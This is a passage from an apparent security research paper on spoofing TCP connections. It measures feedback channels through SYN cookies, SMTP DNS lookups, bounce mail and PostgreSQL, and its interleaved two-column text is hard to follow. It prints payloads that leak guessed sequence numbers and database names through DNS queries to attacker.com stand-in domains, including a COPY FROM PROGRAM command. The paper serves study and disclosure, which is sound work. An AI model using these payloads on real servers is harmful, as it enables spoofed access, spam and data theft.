of a series of domains. Technically, the attacker selects 128 3.3.3. Application-Specific Feedback Channel #2: IP-
domains that are currently not cached by the DNS resolver spoofed PostgreSQL Database Dump. We now demon-
of the mail server. Since the ack number is 32 bits, 8 strate a second use case for application-specific feedback
digits in hex, the attacker chooses 16 uncached domain channels: SQL connections over TCP. For this, without
names for each hex digit. Assume domain[i][j] is the jth losing generality, we pick a popular SQL application: Post-
uncached domain for the ith digit. The attacker can then greSQL. To motivate our setting, we envision that Post-
encode the guessed ack number, e.g. 0x5678abcd, greSQL servers use pure IP authentication [35] to grant
by using HELO domain[0][5]\r\n HELO access to clients in certain network prefixes without requir-
domain[1][6]\r\n HELO domain[2][7]\r\n ing further authentication. If such a weak authentication
HELO domain[3][8]\r\n HELO domain[4][10] is applied, attackers can spoof the allowlisted IP address
\r\n HELO domain[5][11]\r\n HELO ranges to connect to the PostgreSQL server. A similar
domain[6][12]\r\n HELO domain[7][13]\r\n attack setting arises if an SQL server allows blanket access
as the bruteforced PSH-ACK packet payload. The attacker (e.g., the trust primitive in PostgreSQL) and relies on a
then periodically snoops the victim’s local DNS resolver firewall to allowlist benign clients. We unfortunately have
to query all uncached domains without recursion (“cache no way to determine how prevalent such setups are, but we
snooping”). Depending on which subset of domains is have reasons to believe it is fairly common due to several
cached by the local DNS resolver, the attacker can decode anecdotes [43], [44], [45].
the correct ack number (= ISN). We assume the attacker knows the database name and
Email-based feedback: Apart from the DNS-based its user (postgres) but lacks knowledge of the database
feedback, email itself can also be exploited as a feedback schema (tables etc.). In such a typical setting, attackers have
channel. The email feedback channel has two variants. The to interactively communicate with the database to leak table
attacker uses a spoofed SMTP dialog to either send an email definitions before they can even start with attacks against the
to a mailbox under their control (e.g., when targeting free database. This is not possible with piggybacking, as it does
mail providers) or by provoking a bounce email. neither signal handshake completion nor provide internals of
The attacker-controlled mailbox is a typical scenario the database to the attacker. And due to the limit of single
when attackers target free email services (e.g., GMail). Here, TCP segment payload size, the number of operations an
the spoofed PSH/ACK segments carry the entire SMTP attacker can perform is also limited. Therefore, inspired by
dialog for sending an email (see Listing 2 in the appendix). techniques used in blind SQL injection attacks, we intro-
The guessed ack number for each PSH/ACK is encoded in duce a DNS-based feedback channel for PostgreSQL. Slight
the subject or mail body. Once a spoofed TCP connection variations of this attack apply to other database applications
is established, the email will be delivered to the attacker’s such as MySQL, MsSQL, Oracle, Mongodb and Redis—
feedback mailbox, from where they can infer the ISN. where the last two even do not require any authentication
In contrast, bounce emails can serve as a feedback and are usually protected “only” by firewalls.
channel even for those target mail servers for which the DNS-based feedback channel For the feedback chan-
attacker does not control an inbox. To leverage bounce nel, we leverage that databases accept and execute PL/SQL
emails, attackers just need to have access to a mail inbox that statements that trigger DNS lookups. One such example
can receive bounce messages—either an attacker-controlled in PostgreSQL is the CREATE SUBSCRIPTION com-
mand, which adds a replication connection to an attacker- Methodology B/W Cost Accuracy Prevalence
controllable publisher. When creating a subscription, the Send Window 160 Mbps 100% 76% of Tranco top-10k
PostgreSQL server resolves the domain name of the sub- Bruteforcing
scription publisher, which in turn triggers an attacker- SYN Cookie 155 Mbps ∼74% (±1) Default Linux behavior
observable DNS query. An attacker can encode the probed SMTP (DNS) 250-680 Mbps 100% 50% of SMTP servers
ISN inside a CREATE SUBSCRIPTION command to leak SMTP (Email) 680 Mbps 100% All free mail services
PostgreSQL 570 Mbps 100% n/a
the successfully-spoofed ISN. In detail:
1. The attacker deploys an authoritative name server for an TABLE 1: Evaluation summary. The cost is the required
attacker-controlled domain. bandwidth using a fixed packet rate of 360,000 pps.
2. The attacker sends floods of IP-spoofed PSH-ACK
packets to spoof a TCP connection. Each packet
carries the following spoofing acknowledging payload1 : However, app-specific feedback channels provide accurate
CREATE SUBSCRIPTION sub1 CONNECTION feedback and a direct way to acknowledge the exact server-
’host=guessed_ISN.attacker.com’ chosen ISN. Furthermore, DNS-based feedback channels
PUBLICATION pub1, where the bruteforced ISN can be executed anonymously, provided that attackers can
is encoded in the SUBSCRIPTION domain name. snoop the target’s DNS resolver. Similarly, the email-based
3. Whenever the attacker sniffs an incoming DNS query feedback channel in SMTP is anonymous provided that
for the domain guessed_ISN.attacker.com, they attackers have an anonymous email inbox.
know an IP spoofed TCP connection is established and
3.3.5. Maintaining an established TCP connection. The
can infer the ISN from the queried domain name.
feedback channels reduce IP spoofing to one-time costs
Apart from acknowledging successful TCP spoofing during the handshake spoofing phase. That is, after the
attempts, the same primitive can also be used to leak spoofing and feedback stages, the attacker knows which ISN
database information via a spoofed TCP connection. (or a small range of ISNs) completed the TCP handshake.
For example, using the following database leaking This is the main ingredient for maintaining and abusing the
payload, an attacker can leak database names1 : SELECT spoofed TCP connection for data transmissions. Now, the
datname FROM pg_database into ans limit attacker only has to update and maintain the ack number
1 offset 1; EXECUTE (CREATE SUBSCRIPTION over time, i.e., when the server responds to the spoofed
sub1 CONNECTION ’host=ans.attacker.com’ payloads. That is, to keep synchronized with the server, the
PUBLICATION pub1;), where ans leaks the respective attacker needs to guess the ack number approximately—
cell content via the queried subdomain. without ever seeing the server responses.
While the attacker does not control how many bytes the
3.3.4. Comparative Summary of Feedback Channels. server sends, they can anticipate in most settings. A server’s
We conclude this section with a conceptual comparison of response length in an established TCP connection is mostly
the presented feedback channels, as summarized in Table 1. predictable. In the appendix, we provide example SMTP
The generic feedback channel has the advantage that it and PostgreSQL server responses. The two SMTP responses
exploits the design of the TCP/IP stack and is therefore not (both 200 bytes) in Listing 6 and Listing 7 are collected from
constrained by the application-layer protocol in use. In its two different sessions with a real email service provider’s
extreme setting, the cost of sending subsequent payloads in SMTP servers. In PostgreSQL, since there is no diversity in
an IP-spoofed TCP connection is reduced to one packet. software, an attacker can even predict the size of responses
However, it requires an attacker to send probing packets by probing a local setup. Listing 9 provides an example
using an IP address under the attacker’s control, which response where an attacker uses the DNS-based feedback
discloses the attacker’s IP. As the feedback channel relies channel to leak victim database information.
on responses to probing SYN packets, noise is also un-
avoidable, which could damage the accuracy of the feedback 4. Evaluation
channel.
Compared with the generic TCP feedback channel, We now evaluate the proposed two primitives for
application-specific feedback channels are bound to certain TCP spoofing—send window bruteforcing and feedback
applications to leak the ISN. Their prevalence is thus lower channels—in both local and realistic environments whenever
than the generic feedback channel. Furthermore, attackers possible. Our evaluation scripts are available online2 . For
have to encode payload into the handshake spoofing, which both primitives, we validate their accuracy, cost, and preva-
may be disallowed by certain protocols or applications. lence. The evaluation results are summarized in Table 1.
1. We simplified the in-text PostgreSQL payloads, the full payload
can be found in Listing 4 and Listing 5 in the appendix. Apart
4.1. Send Window Bruteforcing
from the SUBSCRIPTION operation, the attacker can also use Linux
programs to achieve the same DNS-based feedback; as an example, 4.1.1. Local End-to-End Experiment. First, we deploy a
the command COPY mytable FROM PROGRAM ’getent ahosts local experiment on default Ubuntu 22.04 systems to test
attacker_domain.com’; will also trigger a DNS lookup to the
attacker-controlled domain. 2. Project repo: https://github.com/ypando/spoofing feedback
the accuracy and effectiveness of send window bruteforcing.
Our setup consists of three components:
③Fetch Server ISN
1) Spoofing-capable attacker. We wrote a program in C to
send spoofed TCP packets. The program sends spoofed Attacker IP
SYN and ACK packets to establish an IP spoofed 66.XXX.XXX.11

TCP connection. In parallel, we also send bruteforced ①Establish Half-Open TCP

PSH/ACK packets with a test payload in order to Connection

match the server’s send window once the conection is ②Save Server ISN
In Oracle Spoofed IP
established. In the local experiment setup, we used a 66.XXX.XXX.1 Remote TCP Server
fixed packet rate of 360,000 pps.
Figure 8: Real-world SYN cookie feedback channel exper-
2) Victim server. The send window bruteforcing technique
iment setup
uses the default behavior of the TCP/IP stack. Thus,
we run a simple TCP socket server on the victim. The
attacker aims to establish an IP-spoofed TCP connec- 4.2. SYN Cookie Feedback Channel
tion with the victim server and reuse the connection by
brutefocing the server send window. We now evaluate the feedback channels in terms of
3) IP address owner. The IP owner has a purely passive accuracy, costs and prevalence. We start our investigation
role and is expected to not interfere with RST or ICMP with the generic feedback channel.
segments – a valid assumption as according to [36],
nearly 80% IPs do not interfere with RST or ICMP 4.2.1. Local End-to-End Experiment. First, we deploy the
segments when receiving unexpected TCP segments. experiment locally. Similar to the send window bruteforcing
In the local experiment, we used window sizez of 65535 and experiment, the SYN cookie feedback channel setup consists
1,073,725,440 (214 ∗ 65535, using window scaling). Under of three components run on Ubuntu 22.04:
both window size setup, we ran the experiment 10 times. 1) Spoofing-capable attacker. We wrote a program in C to
In all runs, we successfully spoofed a connection and the send spoofed ACK packets and probing SYN packets.
bruteforced TCP payload was accepted by the socket exactly The program used a fixed packet rate of 360,000 pps.
once. This underlines a high accuracy of the method. 2) The victim server. The general feedback channel does not
require any specific applications. We thus run a simple
4.1.2. Prelevance. To verify the prevalence of servers vul- TCP socket server on the victim. The attacker aims to
nerable to the send window bruteforcing attack, we first establish a spoofed TCP connection to the victim server
examined common OSes, including Windows 11, Linux and learn the server ISN from the feedback channel.
(Ubuntu 23.10), FreeBSD 13.2 and OpenBSD 7.3. All these 3) IP address owner: As before, the IP owner has a purely
OSes are vulnerable to the send window bruteforcing attack. passive role and is expected to not interfere with RST or
Next, we measured the fraction of real servers that are ICMP segments.
vulnerable to the send window bruteforcing attack. In the In the local experiment, in parallel to sending spoofed
experiment, we target the top-10k domains’ [33] HTTP ACK packets, we send the probing sequence {SYN, RST,
service. For ethical considerations, we refrain from flooding SYN, RST} after every spoofed ACK packets to learn the
and spoofing against real servers. Instead, we establish a exact successfull spoofing attempt. Under the fixed packet
non-spoofed TCP connection with port 80 of the servers. rate of 360,000 pps, the attack requires approximately 155
Then, we send an HTTP GET request for the index page Mbps bandwidth. We repeat the attack ten times. In 10 out
using the correct ack and seq numbers. Out of the top- of 10 times, we successfully established an IP-spoofed TCP
10k domains, because some domains have no or repetitive connection. In 7 out of 10 times, the SYN Cookie feedback
A records, there are 7182 unique server IPs. Out of the 7182 channel acknowledged the attacker the exact bruteforced
unique IPs, we received HTTP responses from 6835 of them. ack number that establishes an IP-spoofed TCP connection.
Next, we establish a new non-spoofed TCP connection, and In 3 out of 10 times, the SYN Cookie feedback channel only
this time we send a HTTP GET request using ack number leaked the approximate ISN due to packet reordering. That
ISN + 1 − Window + 1. In our experiment, we used 65535 is, by observing responses to subsequent probes, the attacker
and 1,073,725,440 (214 ∗ 65535, using window scaling) as could still learn the range of the correct ack number (never
window sizes. Out of the 6835 properly operating HTTP larger than 10 possible ack numbers).
servers, we received HTTP responses from 5194 servers
(75.9%) when using window size 65535, of which 4933 4.2.2. Real-World Experiment. Next, we run the same
(72.2%) supported the maximum window size (≈1 GiB). experiment in a setting with a remote server. We deploy
Overall, 75.9% servers are susceptible to the send win- the victim server on a Digital Ocean cloud server running
dow bruteforcing technique. We hypothesize that the unaf- Ubuntu 22.04. While we would like to design this exper-
fected 24.1% servers are protected by middleboxes that drop iment as realistic as possible, there are two parts that we
ghost ACKs. This underlines the motivation for our second adjusted for ethical reasons. First, we refrain from spoofing
primitive, feedback channels, which is evaluated next. IP addresses not under our control. Instead, we use an attack
 exact ISN. The observed differences are caused by packet
loss and packet reordering; the benign client connection
25
requests did not affect the accuracy. To summarize, the SYN
cookie feedback channel can narrow down a successful TCP
20
spoofing attempt to a reasonably small time span and thus
15
ISN. That is, even in a noisy realistic setup, the SYN cookie
Frequency

feedback channel still preserves high accuracy and leaks the

10
correct ISN or an ISN ± 1. Having said this, for busier
servers with thousands of clients, the accuracy may decrease
5
significantly due to connection noise. Likewise, reducing
the probing frequency will likely increase noise as packet
0 loss (e.g., in probes) and reordering (e.g., between a probe
8 7 6 5 4 3 2 1 0 1 2 3 4 5 6 7 8
Feedback ISN vs Actual ISN Difference and the correct bruteforcing attempt) will have larger impact
instead of just a few ISNs.
Figure 9: Real-world SYN cookie feedback channel exper-
iment result: The estimated ISN is identical to the actual 4.2.3. Prevalence. To validate the prevalence of the SYN
ISN (±1, possible ack numbers range within a 0.001s time cookie feedback channel, we measure if servers have SYN
frame) in 74% of the runs; and 100% if tolerating ±5 cookies enabled. For this to work, we would have to put
(possible ack numbers range within a 0.0025s time frame). server sockets in “SYN cookie mode”, which would force
us to initialize hundreds of half-open TCP connections to
congest the socket’s TCP connection queue. As this may
impair server operations, we refrain from such tests.
system that has two public IP address: one of which is used Instead, we follow a two-fold approach. We first down-
to initiate a half-open TCP connection with the cloud server, loaded and installed standard operating system images lo-
and the other one is the attacker trying to spoof the first IP cally to check if they have SYN cookies enabled by default.
to establish a spoofed TCP connection. Figure 8 illustrates Second, we created VMs at three large cloud providers
this setup in more detail. Second, we cannot flood a real (Amazon AWS, DigitalOcean, MS Azure) with three popu-
cloud server with millions of ACK segments. Instead, the lar OS distributions (Debian, Ubuntu, CentOS). Our inves-
first IP serves as an ISN oracle providing the server ISN tigations show that on both local and cloud environments,
from the SYN/ACK segment. The oracle function returns a all tested systems enable SYN cookies by default.
random sequence number at 99.996% chance and the correct The number of SYN packets an attacker needs to send
ISN at 0.0004% chance. To maintain a somewhat realistic to activate SYN cookies depends on the SYN backlog
TCP spoofing pattern without causing an ACK flood, the queue length of applications. In Linux, the length of back-
attacker periodically sends a spoofed ACK segment using log queue is decided by min(backlog,somaxconn),
the ISN number from the oracle function—two thousand per where backlog is the parameter used by applications
second. As the oracle function itself does not reveal which in listen(sockfd,backlog) and somaxconn is set
sequence number is correct, the attacker has to learn the by net.core.somaxconn (default 4096). In Table 2,
correct ISN number from the SYN cookie feedback channel. we thus summarize the default backlog queue length of
The real-world setup inherently takes noise from packet-loss several applications, showing that attackers typically have
and reordering into consideration. To measure the extent of to maintain 8 to 1023 chaff connections.
packet reordering noise, we use the average distance that
each packet deviates from its expected position. In terms Application Backlog queue length
of packet loss, we measure the average percentage of lost apache2 511
packets. In our experiment, the average packet reordering tornado 128
uwsgi 100
index is 2.47 and the average packet loss is 1.2%. To emulate nginx 511
noise from benign clients, we set up ∼250 clients in parallel. lighttpd 1.4 1024
These clients connect to the server after a delay chosen postfix 100
from a Laplace distribution (∼15 clients per second). As pure ftpd 9
vsftpd 32
discussed in Section 3.3.1, we changed the probing sequence redis 511
and probing rate to evade the rate limit. We send 2000 postgresql 244
SYN probes per second. We repeat the experiment 50 times
and compare the difference between the actual ISN and the TABLE 2: Default backlog queue length of example apps.
feedback channel reported ISN.
Figure 9 shows that in 37 (74%) out of 50 runs, the
feedback channel reported ISNs with a difference of at 4.3. App-Specific Feedback Channel: SMTP
most one (possible ack numbers range within a 0.001s time
frame) compared with the correct ISN. In particular, in 25 4.3.1. Local End-to-End Experiment. To demonstrate the
(50%) out of 50 runs, the feedback channel reported the effectiveness of the SMTP-specific feedback channels, we
first design a local end-to-end experiment inspired by pre- the email-based feedback channel (both using an attacker-
vious local setups. The setup consists of (a) the spoofing- controlled mailbox and bounces).
capable attacker, (b) the owner of the IP address that the For 163.com, outlook.com, qq.com and
attacker forges, and (c) a victim mail server. To use the yahoo.com, all feedback channels revealed the exact
DNS- and email-based feedback channel, we also deploy ISNs, and the attacker successfully sent spam using
a feedback server for the attacker. The attacker spoofs the spoofed connection in all cases. We verified in the
an IP address of a gmail.com mail server to mimic received email header that indeed the spoofed IP address is
a valid GMail user sending emails to the target server. mentioned as the true sender.
The target server unwittingly confirms the spoofed TCP gmail.com was a special case in two respects. First,
dialog to the attacker-controlled feedback server. We use gmail.com requires the attacker to split the SMTP dialog
an authoritative NS to catch DNS-based feedback and an into two separate TCP segments. We split the payload to
attacker email server to catch email-based feedback. The trigger the feedback channels in two ACK segments (one un-
mail server runs Ubuntu 22.04 and Postfix, both in a default til DATA, and another one with the rest). Second, even then,
configuration. We only configured postfix to (i) accept email for gmail.com only email and bounce feedback channels
for a particular domain, (ii) enforce SPF. To test the bounce successfully revealed the correct ISNs to the attacker—
email feedback channel, we also set up a victim recipient hence the end-to-end test succeeded in only two out of three
with an auto-reply (vacation) message. To avoid violating options. Nevertheless, attackers can learn such limitations
ethical standards, we set up a local DNS server that resolves prior to performing an attack and leverage those feedback
gmail.com to a local IP address to avoid any traffic mechanisms to which the services are vulnerable.
unexpectedly interfering with real mail servers.
To test the DNS based feedback channel, 4.3.3. Prevalence. Next, we show the prevalence of these
we send ACK segments filled with a HELO feedback channels in real mail servers.
gussed_ack_number.attacker.com\r\n MAIL DNS-based feedback: To test for the DNS-based
FROM:<a@gussed_ack_number.attacker.com> feedback channel, we initiated a non-spoofed SMTP
\r\nRCPT TO:<[email protected]> connection to each mail exchange of a particular do-
\r\n payload. After learning the correct TCP connection main, say, example.org. Next, we greeted the server
from the NS, we re-initialize the SMTP session with a with HELO, indicating a domain under our control,
spoofed HELO target domain and send a spoofed test email. say, attacker.com. As part of the domain, we en-
For the email-based feedback channel, we use the same coded the target domain and the probe stage; e.g.,
setup. In this case, the attacker fills the ACK’s payload helo.example.org.attacker.com. Similarly, we
with all SMTP commands required to send an email. Upon sent a MAIL FROM command using a likewise probe do-
receiving a bounce message or email, we similarly reuse main. Finally, we gracefully quit and terminated the SMTP
the active SMTP session to send a test spam message. connection to avoid causing harm on the server side. By
We tested both the email and the DNS feedback chan- observing which of the probe domains triggered a name
nel ten times. The attacker successfully established a TCP lookup, we could see which mail exchanges are susceptible
connection in all runs, and both feedback channels acknowl- to the DNS-based feedback channel and at which stage.
edged the exact ack number of the spoofed handshake. In We observed that out of the Tranco top-10k domains
all cases, they completed the SMTP dialog and then sent [33], 7864 domains have a mail server. 666 (8.5%) out
an IP-spoofed email, which passed the SPF checks and was of those send DNS feedback already at the HELO stage.
successfully delivered to the intended mailbox. Another 1005 (+12.8%) defer the DNS lookups to the MAIL
The only major difference is the cost of the feedback FROM stage. In total, 21.2% of mail servers performs DNS
channels. Under the fixed packet rate of 360,000 pps, it is lookups early. Indeed, name lookup triggered in early stages
about 470 Mbps for the DNS feedback channel and 680 of the SMTP session enables an adversary to use an even
Mbps for the email feedback channel. shorter payload to exploit the DNS feedback channel. If
the DNS lookup is triggered at the HELO stage, the attack
bandwidth can be reduced to 250 Mbps, as the payload only
4.3.2. Real-world Experiment. Similar to the real-world needs to be filled with a HELO message.
experiment of the SYN cookie feedback channel, instead We also analyzed if such DNS lookups are deferred to
of spoofing IPs of real servers, we used an attacker with a later stage in the SMTP dialog or some post-processing
two public IP addresses and an ISN oracle to simulate the steps of the email. Indeed, as long as a mail server triggers
TCP spoofing process. The spoofed IP is SPF allowlisted name lookup even after sending an email, the attacker
by a domain under our control, so an attacker can spoof can obtain the correct ISN and maintain the IP-spoofed
the IP to send IP-spoofed email to real email service connection thereafter. To address this issue, we sampled
providers. In this experiment, we aim to send IP-spoofed 50 of the mail servers that did not perform lookups in our
test emails to mailboxes under our control at the top-5 earlier experiment. We then performed a complete SMTP
mail services (gmail.com, 163.com, qq.com, yahoo.com, dialog with these servers by sending an email to the mail
outlook.com) [46]. We tested all feedback channels against server’s postmaster mailbox. For ethical considerations, we
the five services, i.e., the DNS-based feedback channel and limited the probe to 50 sampled mail servers, and the
test mail described the experiment and a feedback email based feedback channels. In fact, in our experiments, 4709
address for unsubscribing from future experiments. Out of out of 7864 mail servers rejected the message with an
50 probed mail servers, we observed name lookup from error code when encountering an unknown recipient and
another 20 mail servers—making us believe that about thus would not send a bounce message. In practice, an
21.2% + (100% − 21.2%) ∗ 20/50 ∗ 93.7% ≈ 50% of all attacker can trigger bounce messages in various ways, such
mail servers are susceptible to DNS feedback channels. as swamping a mailbox with data until it triggers “quota
Email-based feedback: The email-based feedback exceeded” bounce messages. Alternatively, attackers can
channel requires attackers to either control an inbox at the abuse mailboxes with auto-reply messages.
receiving domain or to trigger bounce emails. To test the Our analysis has shown that SMTP-based feedback
former, we registered two email accounts at the five most channels are quite common for popular mail servers. About
popular [46] (gmail.com, outlook.com, 163.com, qq.com, every fourth domain (25.7%) is susceptible to at least one
yahoo.com) free mail providers: a feedback account and feedback channel. We only tested ethically acceptable ways
a target account. We first verified that we can send non- of triggering bounces. We believe that attackers could signif-
spoofed emails to the feedback account. We then tested icantly increase the share of systems susceptible to bounce-
if attackers could recycle a connection to send the second based feedback by leveraging other types of bounces.
email to a target account. Only if attackers can reuse the
same SMTP session to send another email—this time to 4.4. App-Specific Feedback Channel: PostgreSQL
the target account—attackers can reuse the connection to
send spoofed mail. After observing our probe email, we 4.4.1. Local End-to-End Experiment. Unlike the previous
thus repurposed the same TCP connection to send another two feedback channels, we cannot test the prevalence of
email to the target account. This succeeded in all 5 cases, the PostgreSQL specific feedback channel without causing
showing that this setup is a reliable feedback channel. In damages, as this feedback channel requires to execute unex-
addition, this feedback channel has almost no latency; we pected operations. As a result, for the PostgreSQL specific
measured less than 10 seconds from sending the probe email feedback channel, we only focus on the local and real-
until completing the target email in all cases. world experiments. The local experiment setup consists of a
Not always can attackers register mail accounts at the spoofing-capable attacker, an attacker-controlled NS server,
target domain. Alternatively, they could try to provoke a the owner of the IP address that the attacker forges, and
bounce email within the spoofed TCP connection. That is, a target PostgreSQL server. The PostgreSQL server runs
we can send emails to the target domain that bounce to the Ubuntu 22.04 and PostgreSQL 12.15, both in a default con-
sender specified in the MAIL FROM header. By sending a figuration. To resemble network-based authentication, we
bounce message in a separate SMTP session, the receiving configured the PostgreSQL server to use trust authentication
MTA unknowingly notifies the attacker about the spoofing for a particular source IP. Under this setup, a user from the
success of the primary SMTP session. For ethical reasons, trusted source IP can connect to any username or databases.
we aim for bounces that do not have a direct impact on The attacker spoofs this trusted IP address to mimic a
mail users of the target domain. We therefore aim for non- valid user accessing the database. Since there is no diverse
delivery notifications of non-existing email recipients. software providing PostgreSQL, our experiment shall reflect
Out of 7864 domains with a mail server in the top- the vulnerability of any PostgreSQL servers using an IP-
10k domain, we successfully sent 2293 mails to a non- based authentication.
existing mailbox (others quit the SMTP dialog, as discussed To test the DNS based feedback channel, we send ACK
later), resulting in 1147 (14.6%) mail servers sending us segments filled with a spoofing acknowledging payload in-
bounce messages. All these mail servers mirror the trigger- troduced in Section 3.3.3. Upon successful spoofing, the
ing email’s MAIL FROM or from to the RCPT TO field attacker is connected as user postgres, and the correct
of the bounce SMTP dialog, suggesting from and MAIL ISN is acknowledged to the attacker via DNS. After learn-
FROM fields are ideal fields to hold the feedback ISN. ing the correct TCP connection from the NS, we use the
Alternatively, most mail servers also quote the triggering spoofed TCP connection to send a database leaking payload
email subject (90.1%) and body (96.7%) in the bounce (see Section 3.3.3) to leak server administration information
message—further places for encoding the ISN. from the pg_database to the attacker through the DNS
The bounce feedback channel was similarly fast as the feedback channel.
feedback channel abusing the probe account. Out of 1147 We tested and measured the feedback channel ten times.
received bounce mails, 1058 are received within 60 seconds, The attacker successfully learned the exact ack number
with an average of 5.4 seconds. This is faster than the typical establishing a spoofed TCP connection in all runs, and the
timeout of SMTP sessions. Among all mail servers used by attacker can use the spoofed connection to leak database
the top-10k domains, we only observed 5.6% mail servers information in all runs. Under the fixed packet rate of
that will close the SMTP dialog within 60 seconds. In other 360,000 pps, the PostgreSQL feedback channel requires
words, timeouts are no practical hurdle. approximately 570 Mbps bandwidth.
For ethical reasons, we only attempted to use non-
existing recipients to trigger bounce feedback. The results 4.4.2. Real-World Experiment. In the real-world experi-
are thus a strict lower bound of the actual impact of bounce- ment setup, we again use an attacker with two public IPs
and the ISN oracle to simulate the TCP spoofing attack. We to the later stage of the SMTP dialog. This would force
deployed a PostgreSQL 12.15 server on a Digital Ocean the attacker to include more SMTP dialog in the payload,
cloud server running Ubuntu 22.04. The attacker aims to which can increase the attack cost. Similarly, the cost of
spoof a TCP connection to impersonate the IP address the SMTP email feedback channels can be increased by
trusted by the PostgreSQL server. We repeat the same attack rejecting clients violating command pipelining constraints
steps as in the local experiment, including the DNS-based [16]. Regarding PostgreSQL, the DNS feedback channel
feedback channel to learn the successful spoofing attempt cannot be easily eliminated. The administrator can instead
and dump database information. We run the attack ten times. strengthen the authentication configuration to stop a TCP
In all runs, the feedback channel successfully leaked the spoofing attacker.
exact ISN and the database information to the attacker.
5.3. Mitigating TCP/IP Spoofing
5. Countermeasures, Disclosure and Ethics
Source Address Validation (SAV): Instead of elimi-
We now discuss countermeasures, describe our disclo-
nating feedback channels, the community can strengthen
sure process and revisit ethical aspects of our findings.
their efforts to mitigate IP spoofing. The whole threat model
of spoofed TCP is based on the assumption that attackers
5.1. Mitigating Send Window Bruteforcing can send IP-spoofed packets. Most providers indeed per-
form outbound SAV to drop traffic that spoofs IP addresses
Our first primitive only works because TCP endpoints outside of their announced prefixes. However, a 2019 study
accept payloads even if their TCP segments acknowledge showed that over 21% of the analyzed autonomous systems
data before SND.UNA. To mitigate this attack primitive, do not perform outbound filtering [28], underlining the ease
TCP endpoints could stop accepting TCP segments with with which attackers can pick a spoofing-enabled provider.
stale acknowledgments. This could either be implemented Attack detection: The aggressive and anomalous be-
only for segments that acknowledge data that the server havior of bruteforcing an ISN can be trivially detected, e.g.,
never sent (“ghost ACKs”), or, more stringent, ignore “too using an Intrusion Detection System (IDS). While detection
stale” acknowledgements. Such mitigation could either be is straightforward, prevention is not. When simply blocking
implemented in the TCP/IP stacks or deployed by stateful (or rate-limiting) the misbehaving IP address, one risks
firewalls and IDSes. An orthogonal mitigation would be blocking (or slowing down) benign systems, too. Instead,
using a smaller server send window, which would increase administrators could aim to trace back the IP-spoofed traf-
the bruteforcing cost but also downgrade TCP performance. fic [22], [24], [40], [41], [48], [49], [50], or flag emails sent
via spoofed TCP connections as spam.
5.2. Mitigating Feedback Channels Another angle would be to detect spoofing at the host. In
a TCP spoofing attack, the attacker needs to send floods of
Furthermore, we suggest to close the feedback channels. spoofed ACK segments. When the spoofed ACK segments
The SYN cookie feedback channel exploits the state of do not fall in an established TCP connection, the server’s
whether SYN cookies are active to learn about the success TCP/IP stack will send a RST packet as the response. By
of spoofing attempts. One could thus stop the feedback counting the number of RST packets sent to client IPs,
channel by disabling SYN cookies. Alternatively, TCP/IP the server can detect which client is suspicious for TCP
stacks could enable SYN cookies for all incoming connec- spoofing. For example, one could develop an eBPF program
tion requests irrespective of the backlog size. However, the to track the number of RST packets sent to per client. When
two mitigations would either make servers more prone to accepting an incoming TCP connection, the user space
the SYN flood attack or the optimized TCP spoofing attack application first queries the eBPF program. If the eBPF
using SYN cookies. A better solution is to randomize when program records that more than a certain number of RST
servers deactivate SYN cookies. In Linux, the SYN cookie packets are sent to the client in short time, the user space
becomes inactive once the backlog queue has a single free application could consider the incoming TCP connection
entry. Consequently, an attacker can use a single SYN probe suspicious for TCP spoofing. The user space program can
to verify whether the backlog queue is still full, i.e., if the either reset the connection and see if the same client can
spoofed connection is successfully established. If the server re-connect shortly, or the user space program can enforce
delays the SYN cookie deactivation until a random number further authentication of the client. This limit can slow down
of backlog queue entries are freed, the attacker needs to a TCP spoofing attacker significantly, because any flooding
guess the exact number of padding connections to establish. attempts excceding the rate limit will cause a connection
Alternatively, or in addition, one could inject random time reset. However, such a countermeasure introduces the risk
delays when to disable SYN cookies. Either way, the SYN that attackers try to DoS benign clients by spoofing their
cookie feedback channel becomes far less reliable. identity in traffic that provokes RST segments. Because of
Mitigation of the application-specific feedback channels resource constraints, the eBPF program can only maintain a
is also possible. For the SMTP DNS feedback channel, limited number of records for clients. Thus, attackers may
the SMTP software can defer the DNS lookup behavior evade the detection by flushing the eBPF program’s records.
5.4. Disclosure Process They agreed that such ghost ACK packets acknowledging
data that is never sent by attacker can be dropped by the
We communicated our findings as part of a disclosure TCP/IP stack, and they would work towards an Internet
process. In particular, we reached out to the mail server draft to standardize this countermeasure. We also disclosed
community and PostgreSQL developers. We also notified our findings to the security teams of the major OSes, i.e.,
the major OSes, who maintain the most popular TCP/IP Linux, Windows, FreeBSD, OpenBSD, MacOS and An-
stacks. We describe details in the following. droid, to give them an opportunity to harden their TCP/IP
stacks. In particular, we promoted the idea to drop ghost
5.4.1. SMTP Disclosure. We utilize the Debian Package
ACKs (Section 5.1), and suggested optimizations to stop
Popularity Contest [32] to search for popular mail servers.
the cookie feedback channel. We have not heard back from
We filter for those mail servers that have an adoption rate of
MacOS, Windows and Android developers as of writing,
at least 1%. This resulted in exim4 (27.8%), Postfix (15.0%),
but already received feedback from the FreeBSD, OpenBSD
sendmail (1.1%). Postfix and sendmail acknowledged our
and Linux teams. All of the three teams acknowledged the
findings. We also notified the five email providers that we
ghost ACK issue. To counter the threat, the OpenBSD team
used in our tests. Only Gmail reacted, saying they consider
plans to store the server ISN for established connection
our findings to be out of scope. We summarize the mitiga-
until the sequence number space wrap-around, so that the
tions proposed by Postfix and sendmail in the following.
server can verify and drop ACK packets acknowledging
Enforce SMTP Synchronization: According to RFC 2920,
sequence number lower than the ISN (ghost ACKs). The
after establishing a TCP connection with an SMTP server,
Linux team plans to drop ghost ACKs by verifying if the
an SMTP client should send the HELO message only after
ack number falls in the previously acknowledged bytes
receiving the greeting message from the server. We per-
range [11]. We suggested similar mitigations to other OS
formed a scan over the 7864 SMTP servers of the top-
developers. Regarding the cookie feedback channel issue,
10k domains by adding the HELO, MAIL FROM, RCPT
because of a different TCP/IP stack implementation from
TO payload in the last TCP handshake ACK packet. Sur-
Linux, *BSD systems are not affected by the same cookie
prisingly, 7365 (93.7%) SMTP servers support such input,
feedback channel attack. As discussed in Section 5.2, we
though it breaks the RFC policy. The Postfix team thus
recommended the Linux team to apply some randomness to
applied an update of the smtpd forbid unauth pipelining
the time of SYN cookies deactivation. However, until now,
option [34], which will drop a client connection if the client
we had not received a concrete decision of whether such a
violates the SMTP command pipelining constraints [16].
mitigation will be included in an upcoming release.
Similarly, for plain TCP connections, the sendmail team
plans to reject SMTP clients that send further payload after
the HELO/EHLO/DATA command without waiting for the 5.5. Ethics
reply. Forcing clients to wait for the servers’ reply messages
can stop the adversary from adding the payload to trigger We carefully designed our experiments according to
